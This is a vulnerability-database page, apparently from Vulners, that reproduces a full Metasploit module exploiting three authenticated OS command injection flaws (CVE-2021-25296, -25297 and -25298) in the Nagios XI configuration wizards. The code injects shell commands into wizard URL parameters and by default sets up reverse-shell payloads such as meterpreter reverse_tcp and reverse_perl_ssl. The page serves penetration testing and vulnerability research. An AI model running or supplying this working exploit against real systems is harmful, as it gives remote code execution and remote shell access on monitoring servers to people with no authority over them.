| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Nagios XI 5.7.5 Remote Code Execution Exploit | 26 Feb 202100:00 | – | zdt | |
| Nagios XI 5.7.5 Remote Code Execution Exploit | 13 Feb 202300:00 | – | zdt | |
| CVE-2021-25296 | 15 Feb 202100:00 | – | attackerkb | |
| CVE-2021-25298 | 15 Feb 202100:00 | – | attackerkb | |
| CVE-2021-25297 | 15 Feb 202100:00 | – | attackerkb | |
| CVE-2021-25296 | 15 Feb 202116:46 | – | circl | |
| CVE-2021-25297 | 15 Feb 202116:46 | – | circl | |
| CVE-2021-25298 | 7 Feb 202321:54 | – | circl | |
| Nagios XI OS Command Injection | 18 Jan 202200:00 | – | cisa_kev | |
| Nagios XI OS Command Injection | 18 Jan 202200:00 | – | cisa_kev |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
'Description' => %q{
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
configuration wizards that allow an authenticated user to perform remote code
execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.
Valid credentials for a Nagios XI user are required. This module has
been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
},
'License' => MSF_LICENSE,
'Author' => [
'Matthew Mathur'
],
'References' => [
['CVE', '2021-25296'],
['CVE', '2021-25297'],
['CVE', '2021-25298'],
['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
],
'Platform' => %w[linux unix],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' => [
[
'Linux (x86)', {
'Arch' => [ ARCH_X86 ],
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux (x64)', {
'Arch' => [ ARCH_X64 ],
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'CMD', {
'Arch' => [ ARCH_CMD ],
'Platform' => 'unix',
# the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
}
]
],
'Privileged' => false,
'DefaultTarget' => 2,
'DisclosureDate' => '2021-02-13',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def finish_install
datastore['FINISH_INSTALL']
end
# Returns a status code an a error message on failure.
# On success returns the status code and an array so we
# can update the login_result and res_array variables appropriately.
def handle_unsigned_license(res_array, username, password, finish_install)
auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return 5, 'Failed to sign license agreement'
end
print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')
sleep 5
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..4 # An error occurred, propagate the error message
return login_result, res_array[0]
when 5 # The Nagios XI license agreement still has not been signed
return 5, 'Failed to sign the license agreement.'
end
return login_result, res_array
end
def authenticate
# Use nagios_xi_login to try and authenticate.
login_result, res_array = nagios_xi_login(username, password, finish_install)
case login_result
when 1..3 # An error occurred, propagate the error message
return login_result, res_array[0]
when 4 # Nagios XI is not fully installed
install_result = install_nagios_xi(password)
if install_result # On installation failure, result is an array with the code and error message
return install_result[0], install_result[1]
end
login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..4 # An error occurred, propagate the error message
return login_result, res_array[0]
when 5 # The license agreement still needs to be signed
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
return login_result, res_array unless (login_result == 0)
end
when 5 # The license agreement still needs to be signed
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
return login_result, res_array unless (login_result == 0)
end
print_good('Successfully authenticated to Nagios XI.')
# Extract the authenticated cookies and nsp to use throughout the module
if res_array.length == 2
auth_cookies = res_array[1]
if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)
@auth_cookies = auth_cookies
else
return login_result, 'Failed to extract authentication cookies'
end
nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)
if nsp
@nsp = nsp[1]
else
return login_result, 'Failed to extract nsp string'
end
else
return login_result, 'Failed to extract auth cookies and nsp string'
end
# Set the version here so both check and exploit can use it
nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return 6, 'Unable to obtain the Nagios XI version from the dashboard'
end
print_status("Target is Nagios XI with version #{nagios_version}.")
# Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,
# so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.
if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'
nagios_version = '1.0.0'
end
@version = Rex::Version.new(nagios_version)
return 0, 'Successfully authenticated and retrieved NagiosXI Version.'
end
def check
# Authenticate to ensure we can access the NagiosXI version
auth_result, err_msg = authenticate
case auth_result
when 1
return CheckCode::Unknown(err_msg)
when 2, 4, 5, 6
return CheckCode::Detected(err_msg)
when 3
return CheckCode::Safe(err_msg)
end
if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
return CheckCode::Appears
end
return CheckCode::Safe
end
def execute_command(cmd, _opts = {})
if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
auth_result, err_msg = authenticate
case auth_result
when 1
fail_with(Failure::Disconnected, err_msg)
when 2, 4, 5, 6
fail_with(Failure::UnexpectedReply, err_msg)
when 3
fail_with(Failure::NotVulnerable, err_msg)
end
end
# execute payload based on the selected targeted configuration wizard
url_params = {
'update' => 1,
'nsp' => @nsp
}
# After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
# changes from address to ip_address
if @version <= Rex::Version.new('5.5.7')
address_param = 'address'
else
address_param = 'ip_address'
end
# CVE-2021-25296 affects the windowswmi configuration wizard.
if datastore['TARGET_CVE'] == 'CVE-2021-25296'
url_params = url_params.merge({
'nextstep' => 3,
'wizard' => 'windowswmi',
'ip_address' => Array.new(4) { rand(256) }.join('.'),
'domain' => Rex::Text.rand_text_alphanumeric(7..15),
'username' => Rex::Text.rand_text_alphanumeric(7..20),
'password' => Rex::Text.rand_text_alphanumeric(7..20),
'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
})
# CVE-2021-25297 affects the switch configuration wizard.
elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
url_params = url_params.merge({
'nextstep' => 3,
'wizard' => 'switch',
address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
'scaninterfaces' => 'on'
})
# CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
# specifying the digitalocean option for the wizard parameter.
elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
url_params = url_params.merge({
address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
'nextstep' => 4,
'wizard' => 'digitalocean'
})
else
fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
end
print_status('Sending the payload...')
# Send the final request. Note that the target is not expected to respond if we get
# code execution. Therefore, we set the timeout on this request to 0.
send_request_cgi({
'method' => 'GET',
'uri' => '/nagiosxi/config/monitoringwizard.php',
'cookie' => @auth_cookies,
'vars_get' => url_params
})
end
def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation